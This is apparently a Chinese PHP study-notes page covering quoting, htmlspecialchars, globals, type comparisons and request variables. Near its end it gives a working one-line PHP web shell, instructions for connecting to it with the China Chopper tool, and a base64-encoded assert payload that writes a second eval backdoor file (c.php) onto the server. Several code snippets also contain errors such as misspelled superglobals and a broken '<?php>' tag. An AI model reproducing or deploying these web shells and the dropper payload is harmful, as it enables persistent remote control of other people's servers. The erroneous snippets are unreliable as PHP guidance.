概述
sql注入常见函数
stripcslashes()
stripcslashes() 函数删除由 addcslashes() 函数添加的反斜杠。
<?php
echo stripslashes("Hello World!");
?>
php中单引号和双引号的区别
单引号 性子急 不解释 直接出 a is $a
双引号 慢悠悠 解释完了再输出 a is 123
在PHP代码中尽量使用单引号,若包含变量需要进行解析时,则使用双引号
1,htmlspecialchars():将特殊字符转换为html实体
$str = htmlspecialchars(string,flags,character-set,double_encode);
string:规定要转换的字符串;
flags :可选参数,规定如何处理引号、无效的编码以及使用哪种文档类型;
character-set:可选参数,规定了要使用的字符集的字符串,e.g.UTF-8
double_encode:可选参数,可选参数,一个规定了是否编码已存在的 HTML 实体的布尔值(TRUE:默认,将对每个实体进行转换;FALSE:不会对已存在的 HTML 实体进行编码);
<?php
header("content-type:text/html;charset=utf-8");//设置编码,解决中文乱码
$string = "ggbiji & 'ggbiji'";
$string1 = htmlspecialchars($string, ENT_COMPAT); // 默认,仅编码双引号
$string2 = htmlspecialchars($string, ENT_QUOTES); // 编码双引号和单引号
$string3 = htmlspecialchars($string, ENT_NOQUOTES); // 不编码任何引号
echo $string1."<br/>n";
echo $string2."<br/>n";
echo $string3."<br/>n";
?>
2,函数体内引用全局变量,必须在函数内部使用“global”关键字
<?php
$a = 1;
function Test()
{
global $a;
echo "a =$a";
}
Test();
?>
3,用户定义的函数和语言关键字对大小写不敏感
<?php
function TEST()
{
echo "nihao,word!n";
}
test();
?>
4,在 PHP 中,不区分大小写的关键字 NULL 用于没有定义值的情况。
5,null 与 false 类型不一样。
6,声明常量使用关键字 define 下面是使用和声明常量的例子
define(PI,3.14);
printf("PI = %.2fn",PI);
7,字符串文 0 是转换为布尔值的特殊情况,它转换为 false。
<?php
$var = '0';
if ($var) {
echo 'true';
} else {
echo 'false';
}
?>
8,PHP创建注释的方法
//这里可以写注释C中借用
/*这里也可以写C++中借用*/
#这里也可以呦shell代码中借用
9,空数组转化为 null
<?php
$a = array();
if ($a == null) {
echo 'true';
} else {
echo 'false';
}
?>
10,=== 是值相等且类型相同,false 属于布尔类型,而 null 属于特殊的 null 类型
<?php
if (null === false) {
echo 'true';
} else {
echo 'false';
}
?>
11,数值字符串作为整数进行比较。
<?php
if ('2' == '02') {
echo 'true';
} else {
echo 'false';
}
?>
12,$_Get()he $_POST函数是用来传参数的值的
<a herf="2.php?id='10'&name='xiaoqiang'">传值</a> 在1.php中单击超链接传值
<?php
echo "$_Get['id']";
echo "$_Post['name']";
?>
<html>
<head>
</head>
<body>
<form action="" method="post">
<input type="text" name="test" /> //接收表单的name为 "mima"的数据
<?php>
echo "$_Post['test']"; //获取文本框中的值,并且在当前页中显示
?>
</body>
</html>
1.php <?php $_GET['a']($_POST['b'])?>;
127.0.0.1/1.php?a=eval 菜刀链接 密码为b
使用eval会报错生产木马失败,使用assert也会报错但会生成木马
代码:
$_GET[a]($_GET[b]);
仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29
fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))
fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1))
14, .=和+=
//.=通俗的说,就是累积。
+=意思是:左边的变量的值加上右边的变量的值再赋给左边的变量。
最后
以上就是机灵小猫咪为你收集整理的PHP函数笔记的全部内容,希望文章能够帮你解决PHP函数笔记所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复